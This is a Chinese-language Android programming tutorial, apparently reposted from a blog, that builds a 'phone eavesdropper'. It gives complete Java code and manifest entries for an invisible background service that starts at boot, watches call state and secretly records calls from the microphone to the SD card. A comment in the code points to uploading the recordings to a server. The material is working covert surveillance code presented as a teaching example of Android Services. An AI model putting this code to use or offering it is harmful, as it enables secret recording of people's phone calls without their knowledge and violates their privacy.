Android中 服务Service 电话窃听器
来源:互联网 发布:淘宝卖什么最好赚钱 编辑:程序博客网 时间:2024/04/20 03:35
组件—服务
后台长期运行的没有界面的一个activity。
电话窃听器:
需求:
1.没有界面,一般用户看不到,开机自动启动
2.长期的后台运行,监视当前用户的手机状态
3.通话状态,开启一个录音机,然后录音通话记录,保存在sd卡中。
创建服务的步骤:
1.写一个类,继承系统的Service组件
2.清单文件配置
3.在服务的onCreate()方法做服务初始化的操作
4.在服务的onDestroy()方法里面做服务扫尾操作
5.开启服务startService(intent) stopService(intent)。
一.自己写界面控制服务的开启和关闭
xml文件很简单,就两个button开启服务和关闭服务,不给出了。
MainActivity.java文件,
package com.itheima.phonelistener;import android.os.Bundle;import android.app.Activity;import android.content.Intent;import android.view.Menu;import android.view.View;public class MainActivity extends Activity {@Overrideprotected void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState);setContentView(R.layout.activity_main);}/** * 开启服务按钮对应的点击时间 * @param view */public void start(View view){//定义服务的意图对象Intent intent = new Intent(this,PhoneStatusService.class);startService(intent);}/** * 关闭服务按钮对应的点击时间 * @param view */public void stop(View view){Intent intent = new Intent(this,PhoneStatusService.class);stopService(intent);}}
服务PhoneStatusService.java文件,
package com.itheima.phonelistener;import java.io.File;import java.io.IOException;import android.app.Service;import android.content.Intent;import android.media.MediaRecorder;import android.media.MediaRecorder.AudioSource;import android.os.Environment;import android.os.IBinder;import android.telephony.PhoneStateListener;import android.telephony.TelephonyManager;import android.util.Log;public class PhoneStatusService extends Service {public static final String TAG = "PhoneStatusService";//声明手机电话系统状态管理的服务类private TelephonyManager tm;//电话状态的监听器private MyPhoneListener myPhoneListener;//定义一个电话录音机private MediaRecorder mediaRecorder;@Overridepublic IBinder onBind(Intent arg0) {return null;}//Called by the system when the service is first created//当服务第一次被创建的时候执行,由系统执行的。@Overridepublic void onCreate() {//获取手机电话状态管理的服务。tm = (TelephonyManager)getSystemService(TELEPHONY_SERVICE);//创建一个监听器,监听电话呼叫状态的变化。myPhoneListener = new MyPhoneListener();//开始监听用户的通话状态tm.listen(myPhoneListener, PhoneStateListener.LISTEN_CALL_STATE);super.onCreate();}//Called by the system to notify a Service that it is no longer used and is being removed//当服务被停止的时候调用。@Overridepublic void onDestroy() {//服务停止取消电话的监听器tm.listen(myPhoneListener, PhoneStateListener.LISTEN_NONE);myPhoneListener = null;super.onDestroy();}private class MyPhoneListener extends PhoneStateListener{//当手机呼叫状态变化的时候 执行下面代码。//state 电话的状态//incomingnumber 来电号码@Overridepublic void onCallStateChanged(int state, String incomingNumber) {try {//判断我们当前手机的通话状态switch (state) {//手机处于空闲状态,没有人打电话 没有零响case TelephonyManager.CALL_STATE_IDLE:Log.i(TAG,"手机处于空闲状态,检查刚才是否开启了录音机,如果开启了,保存音频到sd卡");if(mediaRecorder!=null){//8.停止录音mediaRecorder.stop();//9.释放资源。mediaRecorder.release();//方便垃圾回收器回收掉资源mediaRecorder = null;//上传音频文件到服务器 。 网络请求api。删除sd卡临时保存的文件。}break;//手机零响状态case TelephonyManager.CALL_STATE_RINGING:Log.i(TAG,"手机铃声响的状态,悄悄地开启一个录音机,准备录音。");//1.第一步创建一个多媒体录音机的实例mediaRecorder = new MediaRecorder();//2.指定录音机的音频源 录音的音源是麦克风mediaRecorder.setAudioSource(AudioSource.MIC);//3.指定这个音频文件的格式 。mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);//4.指定录出来的音频文件保存的文件路径File file = new File(Environment.getExternalStorageDirectory(),incomingNumber+".3gp");mediaRecorder.setOutputFile(file.getAbsolutePath());//5.设置音频的编码格式mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT);//6.准备开始录音mediaRecorder.prepare();break;//电话接通状态,用户正在打电话case TelephonyManager.CALL_STATE_OFFHOOK:Log.i(TAG,"手机处于通话状态,开始录音,把用户说的话都给录下来。");if(mediaRecorder!=null){//7.开始录音mediaRecorder.start();}break;}super.onCallStateChanged(state, incomingNumber);} catch (Exception e) {e.printStackTrace();}}}}
配置文件AndroidManifest.xml添加
<service android:name="com.itheima.phonelistener.PhoneStatusService" > </service>
<!-- 监视用户电话的状态侵犯了用户的隐私,需要权限 --> <uses-permission android:name="android.permission.READ_PHONE_STATE" /> <!-- 录音需要权限 --> <uses-permission android:name="android.permission.RECORD_AUDIO" /> <!-- 写sd卡 --> <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
二.开机自动启动服务
配置文件AndroidManifest.xml添加
<!-- 接收手机启动完毕广播事件的权限,在4.0以前的版本,不需要添加这个权限也可以开启启动, 在4.0以后的版本 不包括4。0必须要添加开机启动的权限 --> <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
自定义开机广播接受者,
package com.itheima.phonelistener;import android.content.BroadcastReceiver;import android.content.Context;import android.content.Intent;import android.util.Log;public class BootCompleteReceiver extends BroadcastReceiver {private static final String TAG = "BootCompleteReceiver";@Overridepublic void onReceive(Context context, Intent intent) {Log.i(TAG,"手机启动完毕了,监视到了手机启动的广播事件,开启后台监听的服务");Intent i = new Intent(context,PhoneStatusService.class);context.startService(i);}}
查看sd卡路径下可以找到.3gp文件,就是通话的录音文件。
http://www.cnblogs.com/loonggg/archive/2013/01/04/2843904.html
0 0
- Android中 服务Service 电话窃听器
- Android:Service:采用Service实现电话窃听器
- Android 电话窃听器
- android电话窃听器
- android 电话窃听器
- Android电话窃听器
- android 之电话窃听器
- android 之电话窃听器
- Android开发入门之采用Service实现电话窃听器
- Android电话窃听器的实现
- 电话窃听器
- 电话窃听器
- 简单实现android中的电话窃听器
- android服务Service----实现电话监听录音
- Android之服务Service---电话监听
- Android服务Service----实现电话监听录音
- android服务Service----实现电话监听录音
- 45.android服务service-电话录音机
- 十一周——杭电——1001FatMouse' Trade
- 第十二周项目3——日期时间类
- mysql 操作
- 如何从德州仪器官网得到protel(AD)库文件(原理图和封装)
- Arkon 企业 WordPress主题
- Android中 服务Service 电话窃听器
- ITK中的那些分割算法1
- 动态链接库疑问?
- Javo House 地产置业 WordPress主题[v1.7]
- 函数模板之隐式实例化、显式实例化、显式具体化
- 利用SPI编写类似sockscap的代理工具
- Round 全屏即将上线 WordPress主题
- 反向传导算法 & SOFTMAX & Innerproduct_layer.cpp & softmax_loss_layer.cpp
- 套接字选项之getsockopt和setsockopt